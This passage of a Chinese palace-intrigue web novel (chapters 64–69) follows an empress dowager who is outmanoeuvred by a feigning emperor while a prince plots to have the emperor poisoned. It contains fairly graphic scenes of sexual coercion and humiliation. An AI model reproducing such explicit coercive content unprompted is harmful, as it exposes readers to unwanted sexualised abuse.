看着他强压着“得计”的振奋匆匆退出的背影消失在殿门外,郑遂脸上那层懦弱惊惶的面具瞬间剥落。 他缓缓抬起头,眼中方才的茫然水光早已消失无踪。 徐妍如影子般悄无声息地从屏风后转出,垂手侍立。 “去。”郑遂声音平淡,微微挥手。 “把韩王造反的消息,原原本本、一字不漏送到太后那里。记住,要让太后娘娘恰好从她最信任的宫人口中无意间听到。” “是。”徐妍躬身,无声退去。 寿康宫寝殿内,浓烈的甜腻暖香依旧浓重。 徐妙晴云鬓散乱,华贵的宫装被扯开大半,露出大片雪白滑腻的肩颈。 她双手死死撑在冰冷的妆台边缘,身体却不由自主地向后弓起,迎合着身后男人强横的力道。 铜镜里,她脸颊潮红,媚眼如丝,喘息急促。 可那双迷离的水眸深处,却翻涌着隐隐的屈辱。 南宫治高大的身躯紧贴着徐妙晴,一手铁箍般勒着她的腰肢,另一只手则粗暴地揉捏着,古铜色的脸上没有任何情欲的迷醉,只有冰冷的掌控。 他俯身,灼热的气息喷在徐妙晴敏感的耳廓,声音低沉。 “急什么?我的太后娘娘……徐敬意倒霉了,您就这般按捺不住?想要那支藏在暗处的力量了?” 徐妙晴被他话语里的寒意和估计加重的动作刺激得浑身一颤,猛地侧过头。 “机会……机会来了!南宫治!你答应过哀家的!只要哀家……你就把禁军的下落……” “嘘……” 南宫治带着薄茧的拇指重重碾过徐妙晴微微红肿的唇瓣,打断了她的话。 “我答应过什么?嗯?我只说过,看你表现。至于禁军……” 南宫治低低地笑了起来:“那是国之重器,自然得重视。可徐敬意是遭了难,这潭水,是更浑了,还是快清了?娘娘,您看得透吗?” 第64章 此事不能再拖 他手上力道猛地加重,徐妙晴痛哼一声,身体绷紧,屈辱的泪水瞬间盈满眼眶,又被她狠狠逼了回去。 南宫治满意地看着她强忍的模样,终于缓缓松开了钳制,慢条斯理地整理着自己微乱的衣襟。 徐妙晴踉跄一步,扶住妆台才稳住身体。她急促地喘息着,飞快地拢好凌乱的衣襟。 镜中的女人,发髻歪斜,钗环半坠,眼中交织着未褪的情潮和冰冷的恨意。 南宫治这个混账! 他索取无度,自己为了大计也只得由他予取予求,可他却始终牢牢捂着那张最后的底牌! 不行!不能等了! 徐敬意那个老匹夫被韩王拖在云州,自身难保,这正是她徐妙晴挣脱桎梏,真正掌握主动权的天赐良机! 光靠南宫治这个反复无常的野兽是靠不住的,她需要绝对忠于自己的力量! 那支禁军,必须得尽快握在自己手里! 可若要找人,还能依靠的……也只有徐敬若了…… 虽然上次南宫治当着他的面强迫自己时,他选择了袖手旁观,徐妙晴至今想起来都恨不得撕了他! 但此刻,她别无选择了…… “来人!” 看着南宫治一脸餍足的离开,徐妙晴立刻叫了人来。 她挺直脊背,努力维持着太后的威仪! “传哀家懿旨,召……徐敬若入宫觐见!” 徐敬若来得很快。 有了南宫治那事后,他可谓是谨小慎微、低眉顺眼了不少。 这回更是直接抛弃了之前让他招摇过市的仪仗华服,转而穿了一声半旧的藏青色锦袍。 入殿后更是规规矩矩地行了大礼:“臣徐敬若,叩见太后娘娘,娘娘万福金安。” “起来吧,这里没有外人。”徐妙晴端坐在凤榻上,脸上挂着恰到好处的温和笑意,努力压下心头因上次之事而翻腾的怨怼。 她甚至亲自指了指下首的绣墩:“坐,来人,给徐大人上茶。” “谢娘娘。”徐敬若诚惶诚恐地谢恩,只敢在绣墩上坐了半边屁股,腰背挺得笔直,双手规规矩矩地放在膝盖上。 殿内熏着淡雅的兰香驱散了一丝之前的旖旎气息。 徐妙晴端起茶盏,用杯盖轻轻撇着浮沫,斟酌着开口:“哀家今日唤你来,是有一桩心事,思来想去,也只有你……或许能为哀家分忧了。” “娘娘言重了。”徐敬若连忙躬身,“能为娘娘分忧,是臣的福分。娘娘但请吩咐,臣万死不辞!” 随后缓缓抬起头:“娘娘说的可是……那些个人?” 徐妙晴放下茶盏,身体微微前倾。 “你也知道,如今是多事之秋,朝中暗流汹涌,外间又……唉。” 她叹息一声,仿佛不堪重负。 徐敬若恍然大悟,即刻道:“娘娘放心,臣定当竭尽全力,臣此前已经有了些许线索,虽然因为南宫……咳咳,总之,只要咱们顺着这条线继续深挖下去,就会……” “就会什么?” 一道戏谑的声音骤然响起,打断了徐敬若的话。 内殿通往暖阁的锦缎门帘被一只骨节分明的大手猛地掀开。 南宫治高大的身影骤然出现在门口,脸上挂着一丝玩味的笑容,目光直直的看向瞬间脸色惨白的徐妙晴。 徐敬若惊得差点从绣墩上跳起来! “太后娘娘啊……” 南宫治踱着步子,慢悠悠地走近。 他无视了僵立一旁的徐敬若,径直走到徐妙晴面前,居高临下地俯视着她瞬间失去血色的脸。 随后伸出手,带着薄茧的指尖极其轻佻地刮过她冰凉滑腻的脸颊。 “您就这么急着想甩开奴才吗?嗯?找到了点风声,就以为能拿到那支力量了?” 徐妙晴的身体控制不住地微微发抖,巨大的恐惧和被看穿的羞耻感席卷而来,让她几乎窒息。 她强撑着太后的威仪,颤声道:“你……你放肆!谁准你擅闯……” “呵。”南宫治低笑一声,手指滑下,猛地攫住徐妙晴精巧的下巴,迫使她抬起头对上自己的眼睛。 “我的太后娘娘,您还是这么天真可爱。您真以为以为,光靠一枚小小的虎符,就能调动那支禁军?您错了……” 南宫治刻意顿了顿,兴味十足的欣赏着徐妙晴眼中希望的光芒一点点碎裂。 这才慢悠悠地吐出一句:“是不是从没有人告诉过娘娘,那支禁军部队,认虎符,更认……玉玺!没有传国玉玺加盖的调兵密令,就算你拿着虎符冲到他们面前,他们也会毫不犹豫地将你……格杀勿论!” “玉……玉玺?!”徐妙晴如遭五雷轰顶。 玉玺!传国玉玺! 那个象征着至高无上皇权的玉玺,她也曾握在过手中。 可后来,却被她亲手当作示好和麻痹郑遂的工具,也为了获取那小畜生的信任,而“主动”交还回去了! 一股冰冷彻骨的寒意瞬间从脚底直冲头顶,随即是足以焚毁理智的狂怒和悔恨。 是郑遂说,军权大于皇权! 是他说,没有真正的实力,玉玺也不过就是一块石头疙瘩! 可如今南宫治却说,那支禁军也认玉玺? 怎会……传闻明明不是这样的! 明明所有人都说,虎符大于皇令,就连徐敬意也是这么以为的! 为什么…… 徐妙晴猛地瞪大眼睛,脸上的血色褪得干干净净,嘴唇剧烈地哆嗦着,却一个字也说不出来。 “你骗我!!!”徐妙晴尖声道。 而南宫治只是微微一笑:“娘娘不信,大可以让您兄长继续去找。看看找到后,那支禁军,会不会为您差遣。” 徐妙晴彻底愣在原地。 她简直是天底下最大的蠢货! 竟然自己把开门的钥匙拱手送给了那个扮猪吃虎的小崽子!还是自己主动送上的! “呃啊——!” 一声悔恨到极致的尖叫终于冲破了徐妙晴的喉咙。 她猛地抬手捂住心口,身体剧烈一晃,眼前阵阵发黑,几乎要当场晕厥过去。 南宫治满意地看着她这副如丧考妣的模样,嘴角勾起一抹愉悦的弧度。 他松开钳制徐妙晴下巴的手,仿佛嫌脏似的,慢条斯理地在自己的衣襟上擦了擦。 第65章 您猜是谁让消息过了明路 然后才将目光投向一旁早已吓得面无人色、恨不得缩进地缝里的徐敬若。 “徐大人。”南宫治的声音恢复了那种听不出情绪的平淡,“这里没你的事了。太后娘娘需要静一静。滚吧。” 徐敬若如蒙大赦,连滚带爬地叩了个头,看也不敢看失魂落魄的徐妙晴一眼,几乎是手脚并用地仓惶退出了寝殿。 殿内只剩下南宫治和摇摇欲坠的徐妙晴。死寂,像冰冷的潮水般蔓延。 不知过了多久,徐妙晴猛地吸了一口气。 她一把推开扶着她的宫女,踉跄着站直身体,一把扯过旁边衣架上华丽的孔雀翎披风胡乱裹在身上。 “摆驾!去乾清宫!立刻!马上!” 玉玺她必须拿回来! 不惜一切代价! 那是她翻盘唯一的希望了! 乾元宫内,檀香袅袅。 郑遂百无聊赖的摆弄着玉玺,等着那个该来的人。 终于,急促而纷乱的脚步声由远及近,伴随着宫人慌张的通传。 “太后娘娘驾到——!” 郑遂指尖微微一顿,随即若无其事地继续摩挲着玉玺光滑的边缘,嘴角几不可察地向上弯起一个极小的弧度。 这么忍不住啊? 看来还是自己高估她了。 殿门被猛地推开,徐妙晴冲了进来。 郑遂抬头去看,只见徐妙晴形容已然是狼狈至极。 且不提那因疾走而有些松散的发髻,和几缕发丝贴在汗湿的额角。 就连脸上那副精心描画的妆容也花了。 谁还能看出,徐妙晴如今也不过二十出头? 而徐妙晴在看向郑遂的瞬间就目光一寒,随即停顿下来,直愣愣的看着软榻上的郑遂,更确切地说,是看着他手中那方曾经被徐妙晴弃之如敝屐,如今却象征着无上权柄的玉玺。 “皇帝!”徐妙晴尖声开口,完全失去了平日的雍容做派。 她甚至等不及走到近前,就站在殿中目光灼灼地盯着郑遂的手。 “把玉玺给哀家!” 郑遂仿佛被这突如其来的疾言厉色吓了一大跳,身体微微一颤,手中的玉玺差点滑落。 他慌忙将玉玺紧紧抱在怀里,抬起一张写满惊惶的脸。 眼睛里迅速蒙上一层水汽,声音怯怯。 “母……母后?您……您怎么了?为何如此生气?是……是谁惹母后不快了?” 言罢,郑遂抱着玉玺,下意识地往后缩了缩。 徐妙晴被他这副“懵懂无知”的样子噎了一下,一口气堵在胸口,憋得她脸颊发烫。 郑遂装什么无辜? 当初和自己闹翻的时候,那副该死的样子,徐妙晴至今还记得清清楚楚! 这会儿在这儿装柔弱,像个小娘子似的,他真把自己当戏班台柱子了啊! 徐妙晴深吸一口气,强行压下几乎要喷薄而出的怒火,努力挤出一个还算温和的笑容。 “皇帝莫怕。”她放缓了语调,上前几步,试图靠近软榻。 “哀家、哀家不是生气,哀家只是觉得,有些对不住你……”徐妙晴强忍屈辱说道。 “之前都是哀家的错,其实……其实哀家时时刻刻记挂着你,从未想过抛弃你的……” 言罢甚至等不及郑遂的反应,又急切的道。 “皇帝啊,你看,哀家都未曾抛弃你,那咱们之前的约定,就还是作数的。这玉玺就还是……” 郑遂抱着玉玺的手收得更紧了,仿佛抱着唯一的救命稻草。 他怯生生地看着徐妙晴伸过来的手,眼圈更红了。 “母后……您之前不是这么说的啊!您说玉玺放在朕这里,您才安心,朕……朕一直很小心地保管着,睡觉都放在枕边,生怕有半点闪失……母后,您是不是不信任朕了?” 他妈的,死绿茶! 徐妙晴几乎气的七窍生烟! “够了!”徐妙晴再也按捺不住。 她猛地向前一步,染着鲜红蔻丹的手指几乎要戳到郑遂脸上。 “郑遂!你少跟哀家装什么懵懂无知、柔弱可欺的小可怜!哀家不是瞎子!当初你与哀家合谋对付徐敬意那老匹夫时,是何等的阴狠毒辣、算无遗策?那些借刀杀人的毒计,那些挑拨离间的言语,哪一样不是出自你手?这会儿在哀家面前装什么大尾巴狼?!” 郑遂脸上的惊惶如同潮水般迅速退去,抱着玉玺的手甚至放松了些,指尖闲适地抚过那温润又冰冷的蟠龙纹路,嘴角缓缓勾起一抹毫无温度的弧度。 “哦?”他轻笑一声。 “既然母后心知肚明,儿臣绝非善类,也并非你掌心随意揉捏的傀儡……那为何还要执意与儿臣争夺这方玉玺?” 郑遂微微倾身,像毒蛇吐信般一字一句道。 “母后难道真的以为,徐相远在云州焦头烂额,就无暇顾及京城?还是说,母后天真地以为,徐相在放手朝政大权于朕之前,会没有留下半点后手,没有叮嘱过朕……要提防谁?” 徐妙晴瞳孔骤然收缩:“你……你说什么?” 郑遂的笑容愈发冰冷刺骨:“徐相之党亲口对朕言道:‘陛下,朝中诸事,尽可托付于陛下决断。然,后宫干政,乃大忌,尤需警惕。’ 母后,您猜猜,徐相口中需要‘警惕’的‘后宫’,指的是谁?他放权于朕,是为了让朕替他稳住朝堂,更是为了让朕替他看住您啊!” “住口!你这忘恩负义的小畜生!”徐妙晴气得浑身发抖,脸色由白转青。 “哀家在徐敬意那边确实是没了信任可言,不过你以为你就能独善其身?哀家若是豁出去,将你当初如何撺掇哀家图谋皇位、如何与哀家合谋算计徐敬意的桩桩件件,全都告诉他!你以为他会放过你?你也不过是条养不熟的白眼狼!” “呵,母后随意啊。”郑遂脸上的笑容甚至扩大了几分。 “母后尽管去说。只是……” 郑遂轻笑:“您猜猜,徐相是会更相信一个早已与他离心离德、甚至不惜勾结徐敬若欲图其权柄的亲妹妹的话?还是会更相信他亲手扶植起来、看似懦弱无能却忠心耿耿,替他在京城处理朝政的皇帝?” 他微微歪头,又徐徐补充了一句。 “对了,母后。您觉得,您和徐敬若私下密谋的消息,是如何恰好传到徐相耳朵里的?您猜猜,是谁,让这消息过了明路,坐实了您的背叛?” 第66章 看看母后有没有命送信 郑遂飘飘的反问,像淬了毒的冰锥,狠狠扎进徐妙晴摇摇欲坠的心防。 长久以来被愚弄、被掌控、被当做棋子的滔天怒火,终于冲垮了最后一丝理智。 “是你!”徐妙晴的声音陡然拔高。 她猛地向前一步,染着鲜红蔻丹的手指直直戳向郑遂的鼻尖。 “你从什么时候开始算计哀家的?是不是从踏进这宫门的第一天起,你这张可怜兮兮的脸就是装出来的?那些惶恐不安、那些对哀家的依赖顺从,全是假的!全是演给哀家看的戏!” 徐妙晴目光死死钉在郑遂那张骤然褪去所有伪装的脸上。 惊讶、却又理所当然的发展,那双眼里再无半分少年天子的懵懂与怯懦,只有一片深不见底的寒潭,平静得几乎令人心胆俱裂。 这彻底的转变后巨大的落差,几乎让徐妙晴感觉整个世界都在眼前轰然崩塌。 “哀家瞎了眼!竟以为你是个无依无靠、只能攀附哀家的可怜虫!”徐妙晴猛地抬手,狠狠扫过御案。 “哗啦——!” 价值连城的白玉笔洗率先遭殃,碎裂成无数刺目的残片,清水混合着墨汁泼溅开来,染污了明黄的桌布。 接着是那方端砚,被徐妙晴抓起又狠狠掼在地上,沉重的闷响伴随着墨块四散飞溅,在光洁的金砖地面炸开一片狰狞的污迹。 “你骗了哀家!你骗了所有人!”徐妙晴嘶吼着,冲向了旁边的多宝格,将那些摆放精巧的珍玩玉器、古董花瓶,一件接一件地拽下来,砸向地面。 “砰!哗啦——!” 青瓷美人觚碎成齑粉,前朝的玉雕骏马断成几截,象牙雕的插屏轰然倒地…… 刺耳的碎裂声此起彼伏,尖锐的瓷片玉屑在殿内飞射。 王喜早已吓得魂飞魄散,跪伏在地,瑟瑟发抖,头埋得低低,恨不得钻进地缝里去,连呼吸都屏住了,生怕被太后的怒火波及。 一些个碎片甚至飞溅到郑遂的龙袍下摆和靴面上,他却依旧端坐如磐石,甚至连眼睫都未曾颤动一下。 只是静静地看着,看着徐妙晴状若疯魔地发泄,看着她精心维持的太后威仪在歇斯底里中片片剥落,看着她华贵的宫装变得凌乱肮脏,钗环散落,发髻歪斜,几缕汗湿的头发狼狈地贴在苍白扭曲的脸颊上。 那眼神,就像是在欣赏一场荒诞不经的闹剧。 甚至一丝居高临下的悲悯,唯独没有半分惊惶。 直到徐妙晴气喘吁吁地停下手,环顾着满地狼藉的碎片和自己沾满污迹、微微颤抖的双手,一股更深的绝望翻涌上来。 她猛地转头,布满血丝的眼睛再次死死盯住郑遂。 “好…好!就算哀家瞎了眼,养虎为患!可你以为徐敬意那个老狐狸就真信你了?你真以为你能坐稳这龙椅?哀家告诉你,在他眼里,你不过是条暂时有用的狗!一条随时可以宰了吃肉的狗!哀家今日就去信云州,把你如何两面三刀、如何撺掇哀家对付他的桩桩件件,全都抖出来!看你这条白眼狼还怎么装!” 郑遂终于动了。 他缓缓抬起眼,那双深潭般的眸子清晰地映出徐妙晴此刻狼狈不堪的倒影。 他甚至还极轻微地扯动了一下嘴角。 “母后啊。”郑遂的声音异常平稳,半点慌乱都没有。 “您,尽管去。” 徐妙晴瞳孔一缩,似乎没料到他会是这种反应。 郑遂身体微微前倾,手肘支在御案唯一还算干净的一角,指尖有一下没一下地轻轻点着冰冷的桌面。 “儿臣相信,母后定然能写出字字泣血、感人肺腑的控诉书。”郑遂慢条斯理地说着,“只是……” 他刻意停顿了一下,欣赏着徐妙晴脸上血色褪尽的表情,才缓缓续道。 “您真的觉得,儿臣会是那种眼睁睁看着你们徐家谋反作乱、把持朝纲,甚至妄图窃取郑氏江山,却连个屁都不敢放的窝囊废吗?” 郑遂冷冷一笑:“或者母后觉得,自己有命去报信?” 这句话,比方才所有的质问和摔砸都更具冲击力! 像一道无形的惊雷,狠狠劈在徐妙晴的天灵盖上! 谋反!窃取江山!这是足以诛灭九族的滔天大罪! 他竟然……他竟然早就准备反击了! 而且,似乎已经胸有成竹! 徐妙晴只觉得四肢百骸都僵住了。 她踉跄着后退一步,脚底踩到一块尖锐的碎瓷片,钻心的疼传来,却远不及心头恐惧的万分之一。 “你…你敢!” 徐妙晴声音却抖得不成样子,眼神惊恐地四处乱瞟,仿佛这空旷的大殿里随时会冲出索命的刀斧手。 郑遂轻轻嗤笑一声。 他不再看徐妙晴,仿佛她已不值得再多费一丝眼神。 他慢悠悠地拿起御案上一份被墨汁溅污了一角的军报,用指腹抹开那点污渍,垂眸看了起来。 “母后若想给徐相送信,尽管去。”郑遂头也不抬 “儿臣绝不阻拦,不仅不拦,还会让沿途驿站快马加鞭,务必让您的心意尽快送达徐相手中。” 郑遂顿了顿,抬起眼皮。 “只要……您有那个命,走到能送出信的地方。或者,您觉得徐相,有那个命收到您的信?” 徐妙晴脸色惨白如金纸,嘴唇哆嗦着,却一个字也吐不出来。 眼前这个少年帝王的身影在摇曳的烛光下仿佛化作了一头蛰伏的洪荒巨兽,正对她缓缓张开獠牙。 她毫不怀疑他话语里的真实性! 郑遂能隐忍至此,能将所有人玩弄于股掌,他要杀她,甚至杀徐敬意,绝不会是虚言恫吓! 她输了,输得一败涂地。 她以为自己操控着傀儡,却不知自己才是别人棋盘上最可笑的一枚弃子! 徐妙晴死死咬住下唇才没有发出尖叫声,几乎已经尝到了铁锈般的血腥味。 那双曾顾盼生辉的美眸里,此刻只剩下灰败的死寂和刻骨的怨毒。 她死死地瞪了郑遂一眼,然后猛地转身,脚步虚浮踉跄,头也不回地冲出了乾清宫。 夜风带着深秋的寒意扑面而来,吹在徐妙晴汗湿的后背上,激起一片战栗。 第67章 我愿意伺候南宫先生 她深一脚浅一脚地走在宫道上,方才在乾清宫的疯狂与歇斯底里已然褪去,只剩下被彻底抽空般的疲惫和深入骨髓的冰冷。 屈辱像无数细小的毒虫,啃噬着她的五脏六腑。 她竟然输给了那个她从未放在眼里的小崽子。 更可悲的是,她环顾这深宫,竟发现自己已然是孤家寡人,身边连一个真正可信、可用的人都没有。 徐敬若?那个废物兄长,此刻怕是躲在自己府里瑟瑟发抖。 南宫治…… 想到这个名字,徐妙晴的身体不受控制地又是一颤。 一丝扭曲的依赖竟然涌上心头。 他是魔鬼,是羞辱她的禽兽,可在这绝境之中,除了这个掌控着她秘密、也掌控着她仅存一线希望的魔鬼,她还能依靠谁? 寿康宫寝殿带着浓郁甜香的暖意扑面而来时,徐妙晴只觉得一阵眩晕。 她挥退了所有战战兢兢想要上前搀扶的宫人,独自一人,踉跄着扑到了冰冷的梳妆台前。 铜镜里映出一张惨不忍睹的脸。 精心描画的妆容早已被汗水、泪水和灰尘糊成一团,眼线晕开,像两道丑陋的黑痕挂在眼下。 发髻彻底散乱,几缕发丝被汗水黏在毫无血色的脸颊和脖颈上。 她从未如此狼狈,如此清晰地看清自己处境的可悲与绝望。 镜中的影像,模糊地映出了身后拔步床的轮廓。 帐幔低垂,一个高大的人影正随意地靠坐在床头。 南宫治…… 他甚至没有起身,只是隔着几步的距离,好整以暇地透过铜镜,欣赏着徐妙晴此刻的狼狈。 “啧。”一声清晰的咂舌声在寂静的殿内响起,带着毫不掩饰的嘲弄。 “看来我们尊贵的太后娘娘,在乾清宫碰了一鼻子灰?玉玺呢?没抢回来?” 他明知故问,语气轻佻。 徐妙晴的身体瞬间绷紧,指甲深深掐进掌心。 屈辱的火焰再次腾起,烧得她五脏六腑都在灼痛。 她猛地转身,背对着铜镜,不想再看自己那副凄惨的模样。 “他……他早就知道一切!他在耍我!”徐妙晴的声音嘶哑破碎,带着浓重的鼻音。 “他根本就不是什么傀儡!他是装的!他连徐敬意都敢算计!” “哦?”南宫治终于动了动,高大的身躯从床边站起,一步步朝她走来。 他在徐妙晴面上站定,伸出手,带着薄茧的粗糙指腹,毫不怜惜地用力擦过徐妙晴脸颊上晕开的胭脂和泪痕。 “所以呢?”南宫治低下头。 “娘娘现在才看明白,是不是太晚了些?奴才早就说过,那玉玺,是您自己亲手、心甘情愿送到他掌心里的。现在想拿回来?晚了。您把开门的钥匙,亲手塞给了您以为的看门狗,如今那狗变成了狼,您倒怪起钥匙不听话了?” 他猛地松开手,力道之大让徐妙晴踉跄了一下,后背重重撞在坚硬的梳妆台边缘,痛得她闷哼一声。 “蠢!”南宫治冷冷地吐出最后一个字。 他居高临下地俯视着跌靠在妆台上的女人,看着她眼中最后一点光彩彻底熄灭,只剩下灰败的绝望和无边的屈辱,嘴角勾起一抹残忍的弧度,转身作势就要离开。 “别走!” 徐妙晴几乎是脱口而出。 话一出口,强烈的羞耻感便如潮水般将她淹没。 她看着南宫治停下的背影,她宽阔的肩背仿佛成了这绝望深渊里唯一的浮木,尽管她知道,这浮木布满荆棘,抓住它只会让自己更加鲜血淋漓。 徐妙晴深深地吸了一口气,仿佛要将这满殿的屈辱都吸入肺腑,再狠狠碾碎。 指甲刺破了掌心,黏腻的温热感传来,她却感觉不到疼。 然后,她极其缓慢地,在南宫治冰冷审视的目光下,屈下了她尊贵的双膝。 昂贵的孔雀翎披风委顿在冰冷的地毯上,她伸出那双曾经只用来拈花抚琴的手,一点点探向南宫治的腰带。 她动作极其生涩僵硬,甚至不敢抬头看南宫治的脸,视线死死地锁在冰冷的玉带扣上。 浓密呢睫毛剧烈地颤动着,一滴滚烫的泪终于不受控制地溢出眼眶。 “我愿意……”徐妙晴闭上眼睛。 “愿意伺候南宫先生……” 南宫治缓缓伸出手,捏住徐妙晴精致的下巴,迫使她睁开泪眼看向自己。 “奴才……求之不得。” 寝殿内,烛火不安地跳跃着,将两人纠缠的倒影扭曲地投射在绣着百鸟朝凤的锦缎屏风上。 空气粘稠得如同凝固的蜜糖,混合着甜腻的暖香和一种难以言喻的、令人窒息的气息。 徐妙晴的意识在极度的屈辱和一种自毁般的麻木中浮沉。 她紧闭着眼,感官却被无限放大。 男人粗重的呼吸如同野兽的低咆喷在颈侧,粗糙带着薄茧的手掌像是烧红的烙铁,在她被迫袒露的肌肤上留下粗暴的印记,带着不容抗拒的力道,每一次按压揉捏都引起一阵细微的痛楚和更深的战栗。 华丽的宫装被彻底扯开,像破败的锦缎滑落,昂贵的云锦亵衣在刺耳的裂帛声中被轻易撕毁,微凉的空气骤然侵袭暴露的肌肤,激起一层细小的战栗,又被更滚烫的触碰覆盖。 她死死咬住下唇,将所有的呜咽都锁在喉咙深处,齿间弥漫开浓重的血腥味,仿佛只有这自虐般的痛楚才能让她保持最后一丝清醒,不至于彻底沉沦在这无边的耻辱深渊。 身体被迫承受着,像一叶在狂暴怒海中彻底失控的小舟,被汹涌的浪潮反复抛起、砸落。 每一次撞击都让她眼前发黑,灵魂仿佛要脱离这具备受摧残的躯壳。 不知过了多久,仿佛一个世纪般漫长,那令人窒息的桎梏终于松懈。 身上的重量骤然消失,只留下一种被彻底掏空般的虚脱和无处不在的、火辣辣的疼痛。 徐妙晴僵硬地躺在凌乱的锦被间,如同被撕碎后丢弃的玩偶。 她缓缓睁开眼,空洞地望着头顶那明黄色的帐幔顶,上面绣着的五爪金龙在昏暗的光线下显得狰狞而模糊。 第68章 给小皇帝进献点补品 耳边传来南宫治粗重而平稳的呼吸声,带着事后的餍足,很快便转为低沉的鼾声。 他沉沉地睡去了,一条结实的手臂还霸道地横亘在她伤痕累累的腰腹间,沉重的力道压得她几乎喘不过气。 寝殿内只剩下烛火燃烧的轻微噼啪声和他沉睡的呼吸。 这声音像钝刀,一下下割着徐妙晴仅存的理智。 一股从未有过的纯粹杀意忽然迸发。 徐妙晴侧过头,视线越过南宫治横亘的手臂,落在他近在咫尺的、毫无防备的脖颈上。 古铜色的皮肤下,喉结随着呼吸微微起伏,颈侧的血管在烛光下隐约跳动。 徐妙晴的目光缓缓移向散落在枕边的那支赤金累丝嵌红宝石的凤簪。 呼吸在刹那间停滞。徐妙晴屏住气,用尽全身的力气,伸手探过去。 冰冷坚硬的簪身滑入掌心,对准了南宫治颈侧那跳动的脉搏。 只要一下! 只要用尽全身力气刺下去! 这带给她无尽屈辱,掌控她命运的可恨男人,就会彻底消失! 杀了他! 这个念头在脑中疯狂叫嚣,握着簪子的手开始剧烈的颤抖起来。 簪尖悬停在血管上方,仅仅三寸远! 只需再往前一送,南宫治就会立刻血溅当场! 杀了他,一了百了! 可杀了他,你焉有命在? 那支禁军的下落,你最后的希望,将永远石沉大海! 徐妙晴的心骤然冷了下来,杀意像被泼了一盆冷水,顷刻间就什么都不剩了。 徐妙晴的手颓然垂落。 “哐当。” 凤簪滚落在柔软的锦褥上,红宝石的光芒黯淡下去。 徐妙晴猛地闭上眼,身体无法控制地剧烈颤抖起来,大颗大颗滚烫的泪珠汹涌地从紧闭的眼角疯狂溢出。 她几乎是跌撞着,逃离了那张还残留着体温和屈辱气息的拔步床。 踉跄着扑到梳妆台前,双手死死抓住冰冷的镜台边缘。 镜中的女人,披头散发,如同索命的艳鬼。 那张曾经倾国倾城的脸上泪痕狼藉,脂粉被冲刷殆尽,露出底下毫无血色的苍白底色。 原本莹润的唇瓣被咬得红肿不堪,甚至破裂渗血,最刺眼的,是遍布在裸露的脖颈、肩头、甚至锁骨之下的肌肤上。 每一处都遍布深深浅浅、如同烙印般的红痕和淤青。 徐妙晴仿佛第一次真正看清自己。 她不是高高在上的太后,不是徐家尊贵的嫡女,只是一个被权力碾碎、被男人玩弄、在绝境中连反抗都做不到的可悲玩物! 郑遂…… 徐妙晴在心中恶狠狠的念出这个名字。 你总有一天,会成为我的刀下鬼! —— 千里之外的云州,肃杀的军营气息被强行压抑在一种表面的平静之下。 中军大帐内,药味浓重。 徐敬意靠坐在铺着厚厚兽皮的矮榻上,脸色依旧带着大病初愈的蜡黄,眼窝深陷。 短短数日,曾经意气风发的徐相竟像是转眼间就到了暮年一般,被毒折磨的几乎没有人形。 可怕的是,即便服了解药,可仍旧随时可能命悬一线。 厚重的帐帘被一只戴着玉扳指的手掀开。 韩王走了进来,他已经换下了一身戎装,只着一件宝蓝色云纹锦袍,腰束玉带,头上金冠束发,脸上带着恰到好处的关切笑容,如同一位前来探视长辈的温雅后生。 若非他眼底深处那抹挥之不去的阴鸷,以及帐外隐隐传来的属于韩王亲卫的甲胄摩擦声,此情此景倒真显得有几分温情脉脉。 “徐相。”韩王的声音温润,带着一丝刻意的亲近。 “听闻您今日精神好了许多?看来那解药果然有效。本王这心里,也总算踏实了些。” 他走到榻前几步站定,目光扫过徐敬意手边矮几上那碗还剩一半的褐色药汁。 徐敬意见到他胸腔里就是一阵气血翻涌,面上却硬是挤出一丝虚弱而感激的笑容。 挣扎着要起身行礼:“劳烦王爷挂念,微臣…愧不敢当。” “徐相不必多礼,快请坐。”韩王虚扶了一把,顺势也在旁边的交椅上坐下。 “徐相乃国之柱石,如今见徐相好转,实乃朝廷之幸,天下之幸。” “王爷过誉了。”徐敬意垂下眼睑,掩去眸中一闪而逝的寒光。 韩王脸上的笑容加深了几分:“徐相言重了。你我同殿为臣,自当守望相助。况且…” 他话锋一转,身体微微前倾,声音压低了几分,带着一种不容置疑的亲昵。 “徐相当日允诺本王之事,想必未曾忘怀吧?” 来了! 徐敬意的心猛地一沉,如同坠入冰窟。 他强行按捺住剧烈的心跳,抬起浑浊的眼,迎向韩王那双看似含笑,实则冰冷的眼眸。 “王爷所指……” 韩王脸上的笑容倏然敛去。 他伸出手,慢条斯理地端起了矮几上那只还剩半碗药汁的青瓷药碗。 “本王向来心急,也不愿让徐相太过劳神。”韩王一字一顿,嘴角含笑。 停顿片刻,韩王才继续道:“第一个任务,很简单。” 韩王修长的手指捏着碗沿,指节微微用力,青筋隐现。 继而转头,盯着徐敬意骤然收缩的瞳孔,嘴角勾起一抹意味不明的虎符的弧度,将最后几个字狠狠钉入徐敬意的耳中。 “从你那几条还盘踞在京城、最听话的狗里挑一个,给我们的小皇帝进献一点点,宫中难求的补品。让他安分些,听话些。这点小事,对徐相而言,不过是举手之劳,对吧?” 话音落下的瞬间,韩王捏着药碗的手指猛地一松! “哐当——哗啦!” 青瓷药碗直直坠落在坚硬冰冷的金砖地上,瞬间四分五裂。 残留的褐色药汁如同污浊的血,猛地溅开,泼洒在徐敬意垂落在榻边的袍角上,留下大片刺目狰狞的深色污迹。 碎裂的瓷片四散飞溅,有几片直接弹到了徐敬意的鞋面上。 徐敬意难以置信的瞪大眼睛。 纵然自己蓄意谋反已久,亦是对皇位早就视若囊中之物,可却也没有立时把郑遂了结了的意思。 甚至……连慢性的药也不曾下过。 第69章 让你和你女儿见一见 毒杀皇帝?! 韩王竟敢如此赤裸裸地提出这等大逆不道、诛灭九族的滔天罪行! 残存的理智和多年权谋的本能让他强压住几乎冲破喉咙的怒吼,蜡黄的脸上挤出一个比哭还难看的惊惶表情。 他几乎本能的就想拒绝。 “王爷!这、这如何使得!”徐敬意艰难的开口,仿佛被吓破胆了一般。 “陛下乃九五之尊,万民之主,岂能……岂能用此手段?况且京城防卫森严,宫中耳目众多,稍有不慎便会万劫不复啊!王爷三思!” 徐敬若挣扎着想坐直些,以示恳切。 韩王脸上的笑容纹丝未变,甚至更温和了些,只是那双眼睛冷得更厉害了。 他目光牢牢钉在徐敬意脸上,许久,才慢悠悠地站起身,踱到徐敬意榻前,俯视着他。 轻飘飘开口:“徐相,本王说过,心急。也说过,不愿您太过劳神。” 韩王伸出手,轻轻拍了拍徐敬意那只紧抓着锦被、青筋暴起的手背。 动作极为亲昵,像是在安抚一个自己极为信任的臣子,可这动作却令人毛骨悚然。 